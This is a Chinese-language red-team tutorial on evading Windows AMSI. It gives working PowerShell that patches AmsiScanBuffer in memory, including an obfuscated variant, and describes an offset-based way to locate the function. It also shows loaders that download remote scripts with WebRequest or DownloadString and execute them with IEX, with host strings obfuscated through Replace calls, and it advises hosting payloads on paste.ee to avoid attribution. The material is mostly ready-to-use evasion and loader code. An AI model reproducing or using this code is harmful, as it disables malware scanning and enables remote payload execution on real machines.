许多内网场景或处于红队评估的渗透测试者很可能遇到过 AMSI 并且熟悉它的功能。AMSI 增强了对攻击期间常用的一些现代工具、策略和程序 (TTP) 的使用保护,因为它提高了反恶意软件产品的可见性。最相关的例子是 PowerShell 无文件加载,它已被一些APT组织和恶意软件制作商广泛研究。如今越来越多的防病毒厂商正在接入AMSI防病毒接口,因此在当下,如何去规避AMSI,成为红队渗透测试者不可避免的话题。
如前所述,AMSI 允许服务和应用程序与已安装的反恶意软件进行通信。当系统中开始创建进程或者被申请内存,AMSI 就会处于挂钩状态,例如,Windows 脚本主机(WSH) 和PowerShell,以便对正在执行的内容进行去混淆处理和分析。此内容在执行之前被“捕获”并发送到反恶意软件解决方案。
用户帐户控制或 UAC(EXE、COM、MSI 或 ActiveX 安装的提升)、 PowerShell(脚本、交互式使用和动态代码评估)、Windows 脚本宿主(wscript.exe 和 cscript.exe)、JavaScript 和VBScript Office VBA 宏
AMSI使用“基于字符串”的检测措施来确定PowerShell代码是否为恶意代码,如:
使用C#加密器对整个ps1文件进行base64加密(也可用base64加密解密网站:https://www.qqxiuzi.cn/bianma/base64.htm 注意:在加密之前删除无用的空行,避免出现解密时出现错误)
解密后的变量 = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(加密后的变量));
$Win32 = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type $Win32
$LoadLibrary = [Win32]::LoadLibrary("am" + "si.dll")
$Address = [Win32]::GetProcAddress($LoadLibrary, "Amsi" + "Scan" + "Buffer")
$p = 0
[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p)
$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6)
#导入API 函数
$ftkgk = @"
using System;
using System.Runtime.InteropServices;
public class ftkgk {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr gusdon, uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type $ftkgk
#通过 rasta-mouse 修补 amsi.dll AmsiScanBuffer
$lospbeo = [ftkgk]::LoadLibrary("$(('âms'+'í.d'+'ll').NOrMALiZe([cHAr](58+12)+[cHAR](111+96-96)+[cHAr](114+68-68)+[char](109+99-99)+[chAR]([bYte]0x44)) -replace [CHAr](92+22-22)+[CHaR](112)+[cHAr]([bYTE]0x7b)+[ChaR]([BYTe]0x4d)+[chAR]([byTE]0x6e)+[ChaR](125))")
$bhijoj = [ftkgk]::GetProcAddress($lospbeo, "$(('ÁmsìScànB'+'uffer').NOrmalizE([ChaR](70+60-60)+[chAR](111+76-76)+[chaR](114)+[char](109*69/69)+[CHAr]([ByTE]0x44)) -replace [ChaR](74+18)+[ChAR]([BYTE]0x70)+[cHAr](123)+[cHaR](77+31-31)+[CHar](110+64-64)+[Char](125+30-30))")
$p = 0
[ftkgk]::VirtualProtect($bhijoj, [uint32]5, 0x40, [ref]$p)
$jniv = "0xB8"
$kgmv = "0x57"
$odgn = "0x00"
$zalk = "0x07"
$cfun = "0x80"
$macm = "0xC3"
$hquzq = [Byte[]] ($jniv,$kgmv,$odgn,$zalk,+$cfun,+$macm)
[System.Runtime.InteropServices.Marshal]::Copy($hquzq, 0, $bhijoj, 6)
HRESULT AmsiScanBuffer(
HAMSICONTEXT amsiContext,
PVOID buffer, //缓冲区
ULONG length, //长度
LPCWSTR contentName,
HAMSISESSION amsiSession,
AMSI_RESULT *result
);
如您所见,此函数获取要扫描的所需缓冲区和缓冲区长度。其中一个参数“长度”本质上是绕过的关键。此参数包含要扫描的字符串的长度。如果通过某种方式将参数设置为常数值 0,则 AMSI 将被有效地绕过,我们需要做的就是在保存缓冲区长度的函数中修补寄存器。通过这样做,扫描将在零长度上执行。这是通过在运行时修补 AMSI.dll 的操作码来实现的。
还有其他方法可以实现这一点。SecureYourIt 一篇博客文章(https://secureyourit.co.uk/wp/2019/05/10/dynamic-microsoft-office-365-amsi-in-memory-bypass-using-vba/)
显示了不同的定AmsiScanBuffer的方法。不过不是直接将句柄设置为AmsiScanBuffer(),而是首先将句柄设置为“AmsiUacInitialize()。从句柄中减去值 256 随后将导致句柄指向“AmsiScanBuffer()。
在上面的示例中,句柄设置为“AmsiUacInitialize()”,尽管你可以在技术上使用 Amsi.dll 中的任何函数。这种方法在针对“AmsiScanBuffer()”创建签名的情况下很有用。
这边用Stageless生成一个体积较大的powershell样本,因为样本是远程托管的,所以体积越大越好,这样混淆手法越丰富,发挥空间也越大就越难被检测出来(这边生成的体积大约是300-400Kb)
这里采用.net中的webrequest去请求远程恶意样本内容、读取样本、并执行样本。其实加载原理都是用IEX去执行远程的样本内容,大同小异,这边只是修改了一些特征,这里执行的前提是远程加载的powershell样本也得免杀,我们通常会将样本放置在网页可以访问的web服务器上,但是这同时也带来了风险,因为有些高级防病毒软件会标记一些恶意的公网IP(比如说卡巴斯基、小红伞),如果你将样本托管GitHub,虽然虽不会被防病毒标记,但是在实战攻防中非常容易就被蓝队溯源出个人信息,这边推荐一个可以在公网上挂起文本并且合法的网站https://paste.ee/
$webreq = [System.Net.WebRequest]::Create(‘0.0.0.0/1.ps1’)
$resp=$webreq.GetResponse()
$respstream=$resp.GetResponseStream()
$reader=[System.IO.StreamReader]::new($respstream)
$content=$reader.ReadToEnd()
IEX($content)
当然有IEX的地方amsi.dll肯定会重点扫描,你必须在IEX执行之前就破坏它,因此这里可以在$content=$reader.ReadToEnd()和IEX($content)插入破坏amsi.dll的代码。
IEX ((new-object net.webclient).downloadstring('http://0.0.0.0:8000/bypass.txt'.))
IEX ((new-object net.webclient).downloadstring("http://10.@!#$%^&*()21@!#$%^&*()2.202.188@@@@@:8000/byp**************ass.tx**************t".Replace('@@@@@','').Replace('@!#$%^&*()','').Replace('**************',''))
IEX([Net.Webclient]::new().DownloadString("http://0.0.0.0:8000/bypass.txt".))
IEX([Net.Webclient]::new().DownloadString("h%%%t%%%tp:%%%//10.212.2@@@@@02.188@@@@@:80@@@@@00/bypas%%%s.tx%%%t".Replace('@@@@@','').Replace('%%%','')))